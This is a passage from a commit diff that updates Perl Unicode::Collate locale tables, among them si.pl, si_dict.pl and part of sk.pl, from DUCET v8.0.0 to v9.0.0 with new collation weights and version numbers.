-0041 0303 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE
-00F6      ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-00F5      ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH TILDE
-006F 0303 ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH TILDE
-00D5      ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE
-004F 0303 ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE
-1E4D      ; [.1F13.0022.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE
-1E4C      ; [.1F13.0022.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
-022D      ; [.1F13.0022.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON
-022C      ; [.1F13.0022.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON
-1E4F      ; [.1F13.0022.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
-1E4E      ; [.1F13.0022.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
-1EE1      ; [.1F13.0022.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE
-1EE0      ; [.1F13.0022.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
-00F4      ; [.1F13.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1F13.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1F13.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1F13.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1F13.0023.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1F13.0023.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1F13.0023.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1F13.0023.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1F13.0023.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1F13.0023.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1F13.0023.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1F13.0023.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1F13.0023.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1F13.0023.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-01EB      ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH OGONEK
-006F 0328 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH OGONEK
-01EA      ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK
-004F 0328 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E1      ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+010D      ; [.1C8C.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C8C.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C8C.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C8C.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0292      ; [.1C8D.0020.0002] # LATIN SMALL LETTER EZH
+01B7      ; [.1C8D.0020.0008] # LATIN CAPITAL LETTER EZH
+01EF      ; [.1C8E.0020.0002] # LATIN SMALL LETTER EZH WITH CARON
+0292 030C ; [.1C8E.0020.0002] # LATIN SMALL LETTER EZH WITH CARON
+01EE      ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON
+01B7 030C ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON
+0111      ; [.1CA9.0020.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1CA9.0020.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1CA9.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1CA9.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1CA9.0021.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1CA9.0021.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1CA9.0021.0008] # LATIN CAPITAL LETTER ETH
+01E7      ; [.1D00.0020.0002] # LATIN SMALL LETTER G WITH CARON
+0067 030C ; [.1D00.0020.0002] # LATIN SMALL LETTER G WITH CARON
+01E6      ; [.1D00.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
+0047 030C ; [.1D00.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
+01E9      ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CARON
+006B 030C ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CARON
+01E8      ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CARON
+004B 030C ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CARON
+0144      ; [.1DD8.0021.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DD8.0021.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DD8.0021.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DD8.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DD8.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DD8.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+00F1      ; [.1DD8.0022.0002] # LATIN SMALL LETTER N WITH TILDE
+006E 0303 ; [.1DD8.0022.0002] # LATIN SMALL LETTER N WITH TILDE
+00D1      ; [.1DD8.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE
+004E 0303 ; [.1DD8.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE
+0161      ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+00FE      ; [.1E9A.0021.0002] # LATIN SMALL LETTER THORN
+00DE      ; [.1E9A.0021.0008] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+017E      ; [.1F92.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F92.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F92.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F92.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+00F8      ; [.1F93.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F93.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F93.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F93.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F93.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F93.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+0153      ; [.1F93.0021.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F93.0021.0008] # LATIN CAPITAL LIGATURE OE
+00E6      ; [.1F94.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F94.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F94.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F94.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F94.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F94.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F94.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F94.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E5      ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F96.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+0227      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE
+0061 0307 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE
+0226      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE
+0041 0307 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE
+00E4      ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00E3      ; [.1F97.0021.0002] # LATIN SMALL LETTER A WITH TILDE
+0061 0303 ; [.1F97.0021.0002] # LATIN SMALL LETTER A WITH TILDE
+00C3      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE
+0041 0303 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE
+00F6      ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+00F5      ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH TILDE
+006F 0303 ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH TILDE
+00D5      ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE
+004F 0303 ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE
+1E4D      ; [.1F98.0022.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE
+1E4C      ; [.1F98.0022.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
+022D      ; [.1F98.0022.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON
+022C      ; [.1F98.0022.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON
+1E4F      ; [.1F98.0022.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
+1E4E      ; [.1F98.0022.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
+1EE1      ; [.1F98.0022.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE
+1EE0      ; [.1F98.0022.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
+00F4      ; [.1F98.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1F98.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1F98.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1F98.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1F98.0023.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1F98.0023.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1F98.0023.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1F98.0023.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1F98.0023.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1F98.0023.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1F98.0023.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1F98.0023.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1F98.0023.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1F98.0023.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+01EB      ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH OGONEK
+006F 0328 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH OGONEK
+01EA      ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK
+004F 0328 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0D82      ; [.2853.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA
-0D83      ; [.2853.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA
-0D96      ; [.2853.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA
-0DA5      ; [.285E.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA
-0DA4      ; [.285F.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0D82      ; [.28E1.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA
+0D83      ; [.28E1.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA
+0D96      ; [.28E1.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA
+0DA5      ; [.28EC.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA
+0DA4      ; [.28ED.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si_dict.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si_dict.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si_dict.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0D82      ; [.2853.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA
-0D83      ; [.2853.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA
-0D96      ; [.2853.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA
-0DA5      ; [.285C.0020.0002][.288E.0020.0002][.285E.0021.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0D82      ; [.28E1.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA
+0D83      ; [.28E1.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA
+0D96      ; [.28E1.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA
+0DA5      ; [.28EA.0020.0002][.291C.0020.0002][.28EC.0021.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sk.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sk.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sk.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,45 +1,45 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E4      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1BC3.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1BC3.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-010D      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0063 0068 ; [.1C94.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0063 0048 ; [.1C94.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
-0043 0068 ; [.1C94.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1C94.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-00F4      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1D59.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1D59.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1D59.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1D59.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1D59.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1D59.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1D59.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1D59.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-0159      ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON
-0072 030C ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON
-0158      ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
-0052 030C ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-017E      ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E4      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0063 0068 ; [.1D19.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
+0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1D19.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+00F4      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1DDE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1DDE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1DDE.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1DDE.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1DDE.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1DDE.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1DDE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1DDE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+0159      ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON
+0072 030C ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON
+0158      ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
+0052 030C ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
